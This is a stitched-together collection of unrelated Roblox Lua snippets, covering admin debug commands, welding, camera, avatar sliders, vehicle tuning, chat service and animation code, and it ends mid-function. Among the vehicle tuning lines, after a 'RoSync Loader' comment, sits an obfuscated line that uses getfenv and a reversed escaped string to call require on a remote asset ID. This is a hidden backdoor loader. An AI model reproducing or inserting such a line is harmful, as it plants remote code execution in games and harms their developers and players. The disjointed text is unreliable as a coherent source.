return function(Vargs, GetEnv) local env = GetEnv(nil, {script = script}) setfenv(1, env) local server = Vargs.Server; local service = Vargs.Service; local Settings = server.Settings local Functions, Commands, Admin, Anti, Core, HTTP, Logs, Remote, Process, Variables, Deps = server.Functions, server.Commands, server.Admin, server.Anti, server.Core, server.HTTP, server.Logs, server.Remote, server.Process, server.Variables, server.Deps Commands.TestError = { Hidden = true; Prefix = ":"; Commands = {"debugtesterror"}; Args = {"optional type (error/assert)", "optional message"}; Description = "Test Error"; NoFilter = true; AdminLevel = "Creators"; Function = function(plr: Player, args: {string}) --assert(args[1] and args[2],"Argument missing or nil") Remote.Send(plr, "TestError") Routine(function() plr.Bobobobobobobo.Hi = 1 end) if not args[1] then error("This is an intentional test error") elseif args[1]:lower() == "error" then error(args[2]) elseif args[1]:lower() == "assert" then assert(false, args[2]) end end; }; Commands.TestBigList = { Hidden = true; Prefix = ":"; Commands = {"debugtestbiglist"}; Args = {}; Description = "Test Big List"; AdminLevel = "Creators"; Function = function(plr: Player, args: {string}) local list = {} for i = 1, 5000 do table.insert(list, {Text = i}) end Remote.MakeGui(plr,"List",{ Title = "DebugBigList_PageSize250", Table = list, Font = "Code", PageSize = 250; Size = {500, 400}, }) Remote.MakeGui(plr,"List",{ Title = "DebugBigList_PageSize100", Table = list, Font = "Code", PageSize = 100; Size = {500, 400}, }) Remote.MakeGui(plr,"List",{ Title = "DebugBigList_PageSize25", Table = list, Font = "Code", PageSize = 25; Size = {500, 400}, }) end; }; Commands.TestGet = { Prefix = ":"; Commands = {"debugtestget"}; Args = {}; Description = "Remote Test"; Hidden = true; AdminLevel = "Creators"; Function = function(plr: Player, args: {string}) local tack = time() print(tack) print(Remote.Get(plr,"Test")) local tab = { { Children = { {Class = "sdfhasdfjkasjdf"} }; {{Something = "hi"}}; } } local m, ret = Remote.Get(plr, "Test", tab) if ret then print(ret) for i,v in next, ret do print(i,v) for i,v in next,v do print(i,v) for i,v in next,v do print(i,v) for i,v in next,v do print(i,v) end end end end end print(time() - tack) print("TESTING EVENT") Remote.MakeGui(plr, "Settings", { IsOwner = true }) local testColor = Remote.GetGui(plr, "ColorPicker", {Color = Color3.new(1, 1, 1)}) print(testColor) local ans,event = Remote.GetGui(plr, "YesNoPrompt", { Icon = server.MatIcons["Bug report"]; Question = "Is this a test question?"; }), Remote.NewPlayerEvent(plr, "TestEvent", function(...) print("EVENT WAS FIRED; WE GOT:") print(...) print("THAT'D BE ALL") end) print(`PLAYER ANSWER: {ans}`) wait(0.5) print("SENDING REMOTE EVENT TEST") Remote.Send(plr, "TestEvent", "TestEvent", "hi mom I went thru the interwebs") print("SENT") end; };
-- Updated 10/14/2014 - Updated to 1.0.3 --- Now handles joints semi-acceptably. May be rather hacky with some joints. :/
local NEVER_BREAK_JOINTS = false -- If you set this to true it will never break joints (this can create some welding issues, but can save stuff like hinges). local function CallOnChildren(Instance, FunctionToCall) -- Calls a function on each of the children of a certain object, using recursion. FunctionToCall(Instance) for _, Child in next, Instance:GetChildren() do CallOnChildren(Child, FunctionToCall) end end local function GetNearestParent(Instance, ClassName) -- Returns the nearest parent of a certain class, or returns nil local Ancestor = Instance repeat Ancestor = Ancestor.Parent if Ancestor == nil then return nil end until Ancestor:IsA(ClassName) return Ancestor end local function GetBricks(StartInstance) local List = {} -- if StartInstance:IsA("BasePart") then -- List[#List+1] = StartInstance -- end CallOnChildren(StartInstance, function(Item) if Item:IsA("BasePart") then List[#List+1] = Item; end end) return List end local function Modify(Instance, Values) -- Modifies an Instance by using a table. assert(type(Values) == "table", "Values is not a table"); for Index, Value in next, Values do if type(Index) == "number" then Value.Parent = Instance else Instance[Index] = Value end end return Instance end local function Make(ClassType, Properties) -- Using a syntax hack to create a nice way to Make new items. return Modify(Instance.new(ClassType), Properties) end local Surfaces = {"TopSurface", "BottomSurface", "LeftSurface", "RightSurface", "FrontSurface", "BackSurface"} local HingSurfaces = {"Hinge", "Motor", "SteppingMotor"} local function HasWheelJoint(Part) for _, SurfaceName in pairs(Surfaces) do for _, HingSurfaceName in pairs(HingSurfaces) do if Part[SurfaceName].Name == HingSurfaceName then return true end end end return false end local function ShouldBreakJoints(Part) --- We do not want to break joints of wheels/hinges. This takes the utmost care to not do this. There are -- definitely some edge cases. if NEVER_BREAK_JOINTS then return false end if HasWheelJoint(Part) then return false end local Connected = Part:GetConnectedParts() if #Connected == 1 then return false end for _, Item in pairs(Connected) do if HasWheelJoint(Item) then return false elseif not Item:IsDescendantOf(script.Parent) then return false end end return true end local function WeldTogether(Part0, Part1, JointType, WeldParent) --- Weld's 2 parts together -- @param Part0 The first part -- @param Part1 The second part (Dependent part most of the time). -- @param [JointType] The type of joint. Defaults to weld. -- @param [WeldParent] Parent of the weld, Defaults to Part0 (so GC is better). -- @return The weld created. JointType = JointType or "Weld" local RelativeValue = Part1:FindFirstChild("qRelativeCFrameWeldValue") local NewWeld = Part1:FindFirstChild("qCFrameWeldThingy") or Instance.new(JointType) Modify(NewWeld, { Name = "qCFrameWeldThingy"; Part0 = Part0; Part1 = Part1; C0 = CFrame.new();--Part0.CFrame:inverse(); C1 = RelativeValue and RelativeValue.Value or Part1.CFrame:toObjectSpace(Part0.CFrame); --Part1.CFrame:inverse() * Part0.CFrame;-- Part1.CFrame:inverse(); Parent = Part1; }) if not RelativeValue then RelativeValue = Make("CFrameValue", { Parent = Part1; Name = "qRelativeCFrameWeldValue"; Archivable = true; Value = NewWeld.C1; }) end return NewWeld end local function WeldParts(Parts, MainPart, JointType, DoNotUnanchor) -- @param Parts The Parts to weld. Should be anchored to prevent really horrible results. -- @param MainPart The part to weld the model to (can be in the model). -- @param [JointType] The type of joint. Defaults to weld. -- @parm DoNotUnanchor Boolean, if true, will not unachor the model after cmopletion. for _, Part in pairs(Parts) do if ShouldBreakJoints(Part) then Part:BreakJoints() end end for _, Part in pairs(Parts) do if Part ~= MainPart then WeldTogether(MainPart, Part, JointType, MainPart) end end if not DoNotUnanchor then for _, Part in pairs(Parts) do Part.Anchored = false end MainPart.Anchored = true end end local function PerfectionWeld() local Tool = GetNearestParent(script, "Tool") local Parts = GetBricks(script.Parent) local PrimaryPart = Tool and Tool:FindFirstChild("Handle") and Tool.Handle:IsA("BasePart") and Tool.Handle or script.Parent:IsA("Model") and script.Parent.PrimaryPart or Parts[1] if PrimaryPart then WeldParts(Parts, PrimaryPart, "Weld", false) else warn("qWeld - Unable to weld part") end return Tool end local Tool = PerfectionWeld() if Tool and script.ClassName == "Script" then --- Don't bother with local scripts script.Parent.AncestryChanged:connect(function() PerfectionWeld() end) end
--[[Weld functions]]
local JS = game:GetService("JointsService") local PGS_ON = workspace:PGSIsEnabled() function MakeWeld(x,y,type,s) if type==nil then type="Weld" end local W=Instance.new(type,x) W.Part0=x W.Part1=y W.C0=x.CFrame:inverse()*x.CFrame W.C1=y.CFrame:inverse()*x.CFrame if type=="Motor" and s~=nil then W.MaxVelocity=s end return W end function ModelWeld(a,b) if a:IsA("BasePart") and a.Parent.Name ~= ("RotLight") then MakeWeld(b,a,"Weld") for i,v in pairs(a:GetChildren()) do if v ~= nil and v:IsA("BasePart") then ModelWeld(v,b) end end elseif a:IsA("Model") then for i,v in pairs(a:GetChildren()) do ModelWeld(v,b) end end end function UnAnchor(a) if a:IsA("BasePart") then a.Anchored=false end for i,v in pairs(a:GetChildren()) do UnAnchor(v) end end
-- Public methods
function CameraModifier:Destroy() self.CameraClass.Update = self.DefaultCamUpdate self.PopperClass.Update = self.DefaultPopUpdate self.BaseClass.UpdateMouseBehavior = self.DefaultMouseBehavior end function CameraModifier:OnCameraUpdate(this, dt) workspace.CurrentCamera.CFrame = self.LastCFrame workspace.CurrentCamera.Focus = self.LastFocus return self.DefaultCamUpdate(this, dt) end function CameraModifier:OnPopperUpdate(this, dt, dCamCF, dCamFocus) local camCF, focusCF if (self.WallStick.CameraMode == "Custom") then -- dCamCF and dCamFocus are in physics space local hrpCF, phrpCF = self.WallStick.HRP.CFrame, self.WallStick.PhysicsHRP.CFrame local camCF = hrpCF:ToWorldSpace(phrpCF:ToObjectSpace(dCamCF)) local focusCF = hrpCF:ToWorldSpace(phrpCF:ToObjectSpace(dCamFocus)) camCF, focusCF = self.DefaultPopUpdate(this, dt, camCF, focusCF) -- real space self.LastCFrame = phrpCF:ToWorldSpace(hrpCF:ToObjectSpace(camCF)) self.LastFocus = phrpCF:ToWorldSpace(hrpCF:ToObjectSpace(focusCF)) return camCF, focusCF else -- if mode is Default or Debug we do nothing special since the camera subject is where it needs to be local camCF, focusCF = self.DefaultPopUpdate(this, dt, dCamCF, dCamFocus) self.LastCFrame = camCF self.LastFocus = focusCF return camCF, focusCF end end
--[[ ]]
local ReplicatedStorage = game:GetService("ReplicatedStorage") local Players = game:GetService("Players") local AvatarEditor = ReplicatedStorage.AvatarEditor local GuiLib = require(AvatarEditor.Client.GuiLib.LazyLoader) local Maid = require(AvatarEditor.Shared.Util.Maid) local Signal = require(AvatarEditor.Shared.Util.Signal) local Promise = require(AvatarEditor.Shared.Util.Promise) local Theme = require(AvatarEditor.Client.Theme) local player = Players.LocalPlayer local Class = {} Class.__index = Class local Slider = {} Slider.__index = Slider local function map(n, inMin, inMax, outMin, outMax) return (outMin + ((outMax - outMin) * ((n - inMin) / (inMax - inMin)))) end local function setScale(scale, value) -- TODO disable for R6? local character = player.Character local humanoid = character and character:FindFirstChildWhichIsA("Humanoid") local bodyScale = (humanoid and humanoid.Health > 0) and humanoid:FindFirstChild(scale) if bodyScale then bodyScale.Value = value else warn(scale, "not found or dead") end end function Slider.new(frame, x, min, max, callback) local self = setmetatable({}, Slider) self.Maid = Maid.new() self.Changed = Signal.new() self.Min = min self.Max = max self.Frame = frame self.Callback = callback self.Slider = GuiLib.Classes.Slider.new(frame.SliderFrame) self.Slider.Interval = 0.01 self.Slider.TweenClick = false self.Slider:Set(map(x, min, max, 0, 1)) self:Update(map(x, min, max, 0, 1)) self.Maid:GiveTask(self.Slider.Changed:Connect(function(value) value = map(value, 0, 1, min, max) self:Update(value) end)) self.Maid:GiveTask(self.Slider.DragStop:Connect(function() local value = map(self.Slider:Get(), 0, 1, min, max) self.Changed:Fire(value) end)) self.Mask = GuiLib.Classes.TextMask.new(frame.TextFrame.TextBox) self.Mask:SetMaskType("Integer") self.Mask:SetMaxLength(3) self.Maid:GiveTask(self.Mask.Frame.FocusLost:Connect(function() local value = math.clamp(self.Mask:GetValue()/100, min, max) self.Slider:Set(map(value, min, max, 0, 1)) self:Update(value) self.Changed:Fire(value) end)) return self end function Slider:Set(value) self.Slider:Set(map(value, self.Min, self.Max, 0, 1)) self.Mask.Frame.Text = string.format("%d", map(value, 0, 1, 0, 100)) end function Slider:Update(value) local frame = self.Frame local callback = self.Callback frame.TextFrame.TextBox.Text = string.format("%d", map(value, 0, 1, 0, 100)) callback(value) end function Slider:Destroy() self.Maid:DoCleaning() self.Maid = nil self.Changed:Destroy() self.Changed = nil self.Min = nil self.Max = nil self.Frame = nil self.Callback = nil self.Slider:Destroy() self.Slider = nil self.Mask:Destroy() self.Mask = nil setmetatable(self, nil) end function Class.new(frame, wearingScales) local self = setmetatable({}, Class) self.Maid = Maid.new() self.ScaleUpdated = Signal.new() self.Maid:GiveTask(Theme:Bind(frame, "ScrollBarImageColor3", "Scrollbar")) for i, v in ipairs(frame:GetChildren()) do if not v:IsA("Frame") then continue end self.Maid:GiveTask(Theme:Bind(v.SliderFrame.Background.Bar, "BackgroundColor3", "DraggerBar")) self.Maid:GiveTask(Theme:Bind(v.SliderFrame.Dragger, "BackgroundColor3", "Dragger")) self.Maid:GiveTask(Theme:Bind(v.TextFrame, "BackgroundColor3", "Tertiary")) self.Maid:GiveTask(Theme:Bind(v.TextFrame.TextBox, "PlaceholderColor3", "PlaceholderText")) self.Maid:GiveTask(Theme:Bind(v.TextFrame.TextBox, "TextColor3", "Text")) self.Maid:GiveTask(Theme:Bind(v.TextLabel, "TextColor3", "Text")) end local bodyTypeScale = Slider.new(frame.BodyType, wearingScales.BodyTypeScale, 0, 1, function(value) setScale("BodyTypeScale", value) end) self.Maid.BodyTypeScale = bodyTypeScale self.Maid:GiveTask(bodyTypeScale.Changed:Connect(function(value) self.ScaleUpdated:Fire("BodyTypeScale", value) end)) local heightScale = Slider.new(frame.Height, wearingScales.HeightScale, 0.9, 1.05, function(value) setScale("BodyHeightScale", value) end) self.Maid.HeightScale = heightScale self.Maid:GiveTask(heightScale.Changed:Connect(function(value) self.ScaleUpdated:Fire("HeightScale", value) end)) local widthScale = Slider.new(frame.Width, wearingScales.WidthScale, 0.7, 1, function(value) setScale("BodyWidthScale", value) end) self.Maid.WidthScale = widthScale self.Maid:GiveTask(widthScale.Changed:Connect(function(value) self.ScaleUpdated:Fire("WidthScale", value) end)) local headScale = Slider.new(frame.Head, wearingScales.HeadScale, 0.95, 1, function(value) setScale("HeadScale", value) end) self.Maid.HeadScale = headScale self.Maid:GiveTask(headScale.Changed:Connect(function(value) self.ScaleUpdated:Fire("HeadScale", value) end)) local proportionScale = Slider.new(frame.Proportion, wearingScales.ProportionScale, 0, 1, function(value) setScale("BodyProportionScale", value) end) self.Maid.ProportionScale = proportionScale self.Maid:GiveTask(proportionScale.Changed:Connect(function(value) self.ScaleUpdated:Fire("ProportionScale", value) end)) return self end function Class:UpdateWearing(scale, value) local slider = self.Maid[scale] slider:Set(value) end function Class:Destroy() self.Maid:DoCleaning() self.Maid = nil self.ScaleUpdated:Destroy() self.ScaleUpdated = nil setmetatable(self, nil) end return Class
--// Aim|Zoom|Sensitivity Customization
ZoomSpeed = 0.23; -- The lower the number the slower and smoother the tween AimZoom = 30; -- Default zoom AimSpeed = 0.23; UnaimSpeed = 0.1; CycleAimZoom = 55; -- Cycled zoom MouseSensitivity = 0.5; -- Number between 0.1 and 1 SensitivityIncrement = 0.05; -- No touchy
--[[Misc]]
Tune.LoadDelay = 1.37 -- Delay before initializing chassis (in seconds) Tune.AutoStart = true -- Set to false if using manual ignition plugin Tune.AutoFlip = false
--[END]] --[[ Last synced 10/14/2020 09:17 || RoSync Loader ]]
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5747857292)
-- FUNCTIONS --
return function(Character) local random = Random.new(math.random(1, 10)) local function randomizeColors() for i, v in pairs(Character:GetDescendants()) do coroutine.wrap(function() if v:IsA("MeshPart") or v:IsA("Part") or v:IsA("UnionOperation") then if v.Name == "Head" then if v:FindFirstChild("Mesh") then v["Mesh"]:Destroy() end end v.Material = Enum.Material.Neon TS:Create(v, TweenInfo.new(0.15), {Color = Colors[random:NextInteger(1, #Colors)]}):Play() end end)() end end coroutine.wrap(function() while Character do randomizeColors() task.wait(0.15) end partCache:Dispose() end)() task.delay(1, function() for i, v in pairs(Character:GetDescendants()) do if v:IsA("MeshPart") or v:IsA("Part") then -- Implode Tween -- local tweenTime = 0.7 local ImpTween = TS:Create(v, TweenInfo.new(tweenTime, Enum.EasingStyle.Back, Enum.EasingDirection.In), {Size = v.Size * 1.5}) ImpTween:Play() task.delay(tweenTime, function() v.Transparency = 1 v.Anchored = true v.CanCollide = false coroutine.wrap(function() for l, k in pairs(script.ImplosionFX:GetChildren()) do local fx = k:Clone() fx.Parent = v fx:Emit(fx:GetAttribute("EmitCount")) end end)() for l = 1, random:NextInteger(1, 3) do local partSize = random:NextNumber(0.2, 0.6) local part = partCache:GetPart() part.Size = Vector3.new(partSize, partSize, partSize) part.Color = Colors[random:NextInteger(1, #Colors)] part.CFrame = v.CFrame * CFrame.new(math.random(-(v.Size.X / 2), (v.Size.X / 2)), math.random(-(v.Size.Y / 2), (v.Size.Y / 2)), math.random(-(v.Size.Z / 2), (v.Size.Z / 2))) part.Parent = workspace.Debris TS:Create(part, TweenInfo.new(0.7), {Color = Colors[random:NextInteger(1, #Colors)]}):Play() task.delay(random:NextNumber(0.3, 0.7), function() TS:Create(part, TweenInfo.new(0.7), {Size = Vector3.new()}):Play() task.delay(0.7, function() partCache:ReturnPart(part) end) end) task.wait() end end) end end end) end
-- Map storing Player -> Blocked user Ids.
local BlockedUserIdsMap = {} PlayersService.PlayerAdded:connect(function(newPlayer) for player, blockedUsers in pairs(BlockedUserIdsMap) do local speaker = ChatService:GetSpeaker(player.Name) if speaker then for i = 1, #blockedUsers do local blockedUserId = blockedUsers[i] if blockedUserId == newPlayer.UserId then speaker:AddMutedSpeaker(newPlayer.Name) end end end end end) PlayersService.PlayerRemoving:connect(function(removingPlayer) BlockedUserIdsMap[removingPlayer] = nil end) EventFolder.SetBlockedUserIdsRequest.OnServerEvent:connect(function(player, blockedUserIdsList) if type(blockedUserIdsList) ~= "table" then return end BlockedUserIdsMap[player] = blockedUserIdsList local speaker = ChatService:GetSpeaker(player.Name) if speaker then for i = 1, #blockedUserIdsList do if type(blockedUserIdsList[i]) == "number" then local blockedPlayer = PlayersService:GetPlayerByUserId(blockedUserIdsList[i]) if blockedPlayer then speaker:AddMutedSpeaker(blockedPlayer.Name) end end end end end) EventFolder.GetInitDataRequest.OnServerInvoke = (function(playerObj) local speaker = ChatService:GetSpeaker(playerObj.Name) if not (speaker and speaker:GetPlayer()) then CreatePlayerSpeakerObject(playerObj) speaker = ChatService:GetSpeaker(playerObj.Name) end local data = {} data.Channels = {} data.SpeakerExtraData = {} for _, channelName in pairs(speaker:GetChannelList()) do local channelObj = ChatService:GetChannel(channelName) if (channelObj) then local channelData = { channelName, channelObj:GetWelcomeMessageForSpeaker(speaker), channelObj:GetHistoryLogForSpeaker(speaker), channelObj.ChannelNameColor, } table.insert(data.Channels, channelData) end end for _, oSpeakerName in pairs(ChatService:GetSpeakerList()) do local oSpeaker = ChatService:GetSpeaker(oSpeakerName) data.SpeakerExtraData[oSpeakerName] = oSpeaker.ExtraData end return data end) local function DoJoinCommand(speakerName, channelName, fromChannelName) local speaker = ChatService:GetSpeaker(speakerName) local channel = ChatService:GetChannel(channelName) if (speaker) then if (channel) then if (channel.Joinable) then if (not speaker:IsInChannel(channel.Name)) then speaker:JoinChannel(channel.Name) else speaker:SetMainChannel(channel.Name) speaker:SendSystemMessage( string.gsub( ChatLocalization:Get( "GameChat_SwitchChannel_NowInChannel", string.format("You are now chatting in channel: '%s'", channel.Name) ), "{RBX_NAME}",channel.Name), channel.Name ) end else speaker:SendSystemMessage( string.gsub( ChatLocalization:Get( "GameChat_ChatServiceRunner_YouCannotJoinChannel", ("You cannot join channel '" .. channelName .. "'.") ), "{RBX_NAME}",channelName), fromChannelName ) end else speaker:SendSystemMessage( string.gsub( ChatLocalization:Get( "GameChat_ChatServiceRunner_ChannelDoesNotExist", ("Channel '" .. channelName .. "' does not exist.") ), "{RBX_NAME}",channelName), fromChannelName ) end end end local function DoLeaveCommand(speakerName, channelName, fromChannelName) local speaker = ChatService:GetSpeaker(speakerName) local channel = ChatService:GetChannel(channelName) if (speaker) then if (speaker:IsInChannel(channelName)) then if (channel.Leavable) then speaker:LeaveChannel(channel.Name) speaker:SendSystemMessage( string.gsub( ChatLocalization:Get( "GameChat_ChatService_YouHaveLeftChannel", string.format("You have left channel '%s'", channelName) ), "{RBX_NAME}",channel.Name), "System" ) else speaker:SendSystemMessage( string.gsub( ChatLocalization:Get( "GameChat_ChatServiceRunner_YouCannotLeaveChannel", ("You cannot leave channel '" .. channelName .. "'.") ), "{RBX_NAME}",channelName), fromChannelName ) end else speaker:SendSystemMessage( string.gsub( ChatLocalization:Get( "GameChat_ChatServiceRunner_YouAreNotInChannel", ("You are not in channel '" .. channelName .. "'.") ), "{RBX_NAME}",channelName), fromChannelName ) end end end ChatService:RegisterProcessCommandsFunction("default_commands", function(fromSpeaker, message, channel) if (string.sub(message, 1, 6):lower() == "/join ") then DoJoinCommand(fromSpeaker, string.sub(message, 7), channel) return true elseif (string.sub(message, 1, 3):lower() == "/j ") then DoJoinCommand(fromSpeaker, string.sub(message, 4), channel) return true elseif (string.sub(message, 1, 7):lower() == "/leave ") then DoLeaveCommand(fromSpeaker, string.sub(message, 8), channel) return true elseif (string.sub(message, 1, 3):lower() == "/l ") then DoLeaveCommand(fromSpeaker, string.sub(message, 4), channel) return true elseif (string.sub(message, 1, 3) == "/e " or string.sub(message, 1, 7) == "/emote ") then -- Just don't show these in the chatlog. The animation script listens on these. return true end return false end) if ChatSettings.GeneralChannelName and ChatSettings.GeneralChannelName ~= "" then local allChannel = ChatService:AddChannel(ChatSettings.GeneralChannelName) allChannel.Leavable = false allChannel.AutoJoin = true allChannel:RegisterGetWelcomeMessageFunction(function(speaker) if RunService:IsStudio() then return nil end local player = speaker:GetPlayer() if player then local success, canChat = pcall(function() return Chat:CanUserChatAsync(player.UserId) end) if success and not canChat then return "" end end end) end local systemChannel = ChatService:AddChannel("System") systemChannel.Leavable = false systemChannel.AutoJoin = true systemChannel.WelcomeMessage = ChatLocalization:Get( "GameChat_ChatServiceRunner_SystemChannelWelcomeMessage", "This channel is for system and game notifications." ) systemChannel.SpeakerJoined:connect(function(speakerName) systemChannel:MuteSpeaker(speakerName) end) local function TryRunModule(module) if module:IsA("ModuleScript") then local ret = require(module) if (type(ret) == "function") then ret(ChatService) end end end local modules = Chat:WaitForChild("ChatModules") modules.ChildAdded:connect(function(child) local success, returnval = pcall(TryRunModule, child) if not success and returnval then print("Error running module " ..child.Name.. ": " ..returnval) end end) for _, module in pairs(modules:GetChildren()) do local success, returnval = pcall(TryRunModule, module) if not success and returnval then print("Error running module " ..module.Name.. ": " ..returnval) end end PlayersService.PlayerRemoving:connect(function(playerObj) if (ChatService:GetSpeaker(playerObj.Name)) then ChatService:RemoveSpeaker(playerObj.Name) end end)
--[[Transmission]]
Tune.TransModes = {"Auto"} --[[ [Modes] "Auto" : Automatic shifting "Semi" : Clutchless manual shifting, dual clutch transmission "Manual" : Manual shifting with clutch >Include within brackets eg: {"Semi"} or {"Auto", "Manual"} >First mode is default mode ]] --Automatic Settings Tune.AutoShiftMode = "Speed" --[[ [Modes] "Speed" : Shifts based on wheel speed "RPM" : Shifts based on RPM ]] Tune.AutoUpThresh = -200 --Automatic upshift point (relative to peak RPM, positive = Over-rev) Tune.AutoDownThresh = 1400 --Automatic downshift point (relative to peak RPM, positive = Under-rev) --Gear Ratios Tune.FinalDrive = 3.97 -- Gearing determines top speed and wheel torque Tune.Ratios = { -- Higher ratio = more torque, Lower ratio = higher top speed --[[Reverse]] 3.42 , -- Copy and paste a ratio to add a gear --[[Neutral]] 0 , -- Ratios can also be deleted --[[ 1 ]] 3.75 , -- Reverse, Neutral, and 1st gear are required --[[ 2 ]] 2.38 , --[[ 3 ]] 1.72 , --[[ 4 ]] 1.34 , --[[ 5 ]] 1.11 , --[[ 6 ]] .91 , --[[ 7 ]] .78 , } Tune.FDMult = 1 -- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)
-- I forgor wtf this was but im adding it anyway.
local module = {} function module.Subtract(v1, v2) return Vector3.new(v1[1] - v2[1], v1[2] - v2[2], v1[3] - v2[3]) end function module.Add(v1, v2) return Vector3.new(v1[1] + v2[1], v1[2] + v2[2], v1[3] + v2[3]) end function module.RotateVector(vector, rotation) local x, y, z = vector[1], vector[2], vector[3] local rx, ry, rz = rotation[1], rotation[2], rotation[3] -- Apply rotation around X-axis local rotatedX = x local rotatedY = y * math.cos(rx) - z * math.sin(rx) local rotatedZ = y * math.sin(rx) + z * math.cos(rx) -- Apply rotation around Y-axis local tempX = rotatedX * math.cos(ry) + rotatedZ * math.sin(ry) local tempY = rotatedY local tempZ = -rotatedX * math.sin(ry) + rotatedZ * math.cos(ry) -- Apply rotation around Z-axis local finalX = tempX * math.cos(rz) - tempY * math.sin(rz) local finalY = tempX * math.sin(rz) + tempY * math.cos(rz) local finalZ = tempZ return {finalX, finalY, finalZ} end return module
-- Variaveis
local portao = script.Parent.Parent.Portao local botao = script.Parent local cf1 = script.Parent.Parent.Cf1 local aberto = false local tela = script.Parent.Parent.Body.Tela local som = script.Parent.Somzinho local doorpos = portao.CFrame
------------------------------------------------------------------------------------------- -------------------------------------------------------------------------------------------
function onRunning(speed) if speed > 0.01 then local scale = 15.0 playAnimation("walk", 0.1, Humanoid) setAnimationSpeed(speed / scale) pose = "Running" else if emoteNames[currentAnim] == nil then playAnimation("idle", 0.1, Humanoid) pose = "Standing" end end end function onDied() pose = "Dead" end function onJumping() playAnimation("jump", 0.1, Humanoid) jumpAnimTime = jumpAnimDuration pose = "Jumping" end function onClimbing(speed) local scale = 5.0 playAnimation("climb", 0.1, Humanoid) setAnimationSpeed(speed / scale) pose = "Climbing" end function onGettingUp() pose = "GettingUp" end function onFreeFall() if (jumpAnimTime <= 0) then playAnimation("fall", fallTransitionTime, Humanoid) end pose = "FreeFall" end function onFallingDown() pose = "FallingDown" end function onSeated() pose = "Seated" end function onPlatformStanding() pose = "PlatformStanding" end function onSwimming(speed) if speed > 1.00 then local scale = 10.0 playAnimation("swim", 0.4, Humanoid) setAnimationSpeed(speed / scale) pose = "Swimming" else playAnimation("swimidle", 0.4, Humanoid) pose = "Standing" end end function getTool() for _, kid in ipairs(Figure:GetChildren()) do if kid.ClassName == "Tool" then return kid end end return nil end function getToolAnim(tool) for _, c in ipairs(tool:GetChildren()) do if c.Name == "toolanim" and c.ClassName == "StringValue" then return c end end return nil end function animateTool() if toolAnim == "None" then playToolAnimation("toolnone", toolTransitionTime, Humanoid) return end if toolAnim == "Slash" then playToolAnimation("toolslash", 0, Humanoid) return end if toolAnim == "Lunge" then playToolAnimation("toollunge", 0, Humanoid) return end end function moveSit() RightShoulder.MaxVelocity = 0.15 LeftShoulder.MaxVelocity = 0.15 RightShoulder:SetDesiredAngle(3.14 /2) LeftShoulder:SetDesiredAngle(-3.14 /2) RightHip:SetDesiredAngle(3.14 /2) LeftHip:SetDesiredAngle(-3.14 /2) end local lastTick = 0 function move(time) local amplitude = 1 local frequency = 1 local deltaTime = time - lastTick lastTick = time local climbFudge = 0 local setAngles = false if (jumpAnimTime > 0) then jumpAnimTime = jumpAnimTime - deltaTime end if (pose == "FreeFall" and jumpAnimTime <= 0) then playAnimation("fall", fallTransitionTime, Humanoid) elseif (pose == "Seated") then playAnimation("sit", 0.5, Humanoid) return elseif (pose == "Running") then playAnimation("walk", 0.1, Humanoid) elseif (pose == "Dead" or pose == "GettingUp" or pose == "FallingDown" or pose == "Seated" or pose == "PlatformStanding") then stopAllAnimations() amplitude = 0.1 frequency = 1 setAngles = true end -- Tool Animation handling local tool = getTool() if tool and (tool.RequiresHandle or tool:FindFirstChild("Handle")) then animStringValueObject = getToolAnim(tool) if animStringValueObject then toolAnim = animStringValueObject.Value -- message recieved, delete StringValue animStringValueObject.Parent = nil toolAnimTime = time + .3 end if time > toolAnimTime then toolAnimTime = 0 toolAnim = "None" end animateTool() else stopToolAnimations() toolAnim = "None" toolAnimInstance = nil toolAnimTime = 0 end end
--[[ Module functions ]]
-- function Invisicam:LimbBehavior(castPoints) for limb, _ in pairs(self.trackedLimbs) do castPoints[#castPoints + 1] = limb.Position end end function Invisicam:MoveBehavior(castPoints) for i = 1, MOVE_CASTS do local position: Vector3, velocity: Vector3 = self.humanoidRootPart.Position, self.humanoidRootPart.Velocity local horizontalSpeed: number = Vector3.new(velocity.X, 0, velocity.Z).Magnitude / 2 local offsetVector: Vector3 = (i - 1) * self.humanoidRootPart.CFrame.lookVector :: Vector3 * horizontalSpeed castPoints[#castPoints + 1] = position + offsetVector end end function Invisicam:CornerBehavior(castPoints) local cframe: CFrame = self.humanoidRootPart.CFrame local centerPoint: Vector3 = cframe.Position local rotation = cframe - centerPoint local halfSize = self.char:GetExtentsSize() / 2 --NOTE: Doesn't update w/ limb animations castPoints[#castPoints + 1] = centerPoint for i = 1, #CORNER_FACTORS do castPoints[#castPoints + 1] = centerPoint + (rotation * (halfSize * CORNER_FACTORS[i])) end end function Invisicam:CircleBehavior(castPoints) local cframe: CFrame if self.mode == MODE.CIRCLE1 then cframe = self.humanoidRootPart.CFrame else local camCFrame: CFrame = self.camera.CoordinateFrame cframe = camCFrame - camCFrame.Position + self.humanoidRootPart.Position end castPoints[#castPoints + 1] = cframe.Position for i = 0, CIRCLE_CASTS - 1 do local angle = (2 * math.pi / CIRCLE_CASTS) * i local offset = 3 * Vector3.new(math.cos(angle), math.sin(angle), 0) castPoints[#castPoints + 1] = cframe * offset end end function Invisicam:LimbMoveBehavior(castPoints) self:LimbBehavior(castPoints) self:MoveBehavior(castPoints) end function Invisicam:CharacterOutlineBehavior(castPoints) local torsoUp = self.torsoPart.CFrame.upVector.unit local torsoRight = self.torsoPart.CFrame.rightVector.unit -- Torso cross of points for interior coverage castPoints[#castPoints + 1] = self.torsoPart.CFrame.p castPoints[#castPoints + 1] = self.torsoPart.CFrame.p + torsoUp castPoints[#castPoints + 1] = self.torsoPart.CFrame.p - torsoUp castPoints[#castPoints + 1] = self.torsoPart.CFrame.p + torsoRight castPoints[#castPoints + 1] = self.torsoPart.CFrame.p - torsoRight if self.headPart then castPoints[#castPoints + 1] = self.headPart.CFrame.p end local cframe = CFrame.new(ZERO_VECTOR3,Vector3.new(self.camera.CoordinateFrame.lookVector.X,0,self.camera.CoordinateFrame.lookVector.Z)) local centerPoint = (self.torsoPart and self.torsoPart.Position or self.humanoidRootPart.Position) local partsWhitelist = {self.torsoPart} if self.headPart then partsWhitelist[#partsWhitelist + 1] = self.headPart end for i = 1, CHAR_OUTLINE_CASTS do local angle = (2 * math.pi * i / CHAR_OUTLINE_CASTS) local offset = cframe * (3 * Vector3.new(math.cos(angle), math.sin(angle), 0)) offset = Vector3.new(offset.X, math.max(offset.Y, -2.25), offset.Z) local ray = Ray.new(centerPoint + offset, -3 * offset) local hit, hitPoint = game.Workspace:FindPartOnRayWithWhitelist(ray, partsWhitelist, false) if hit then -- 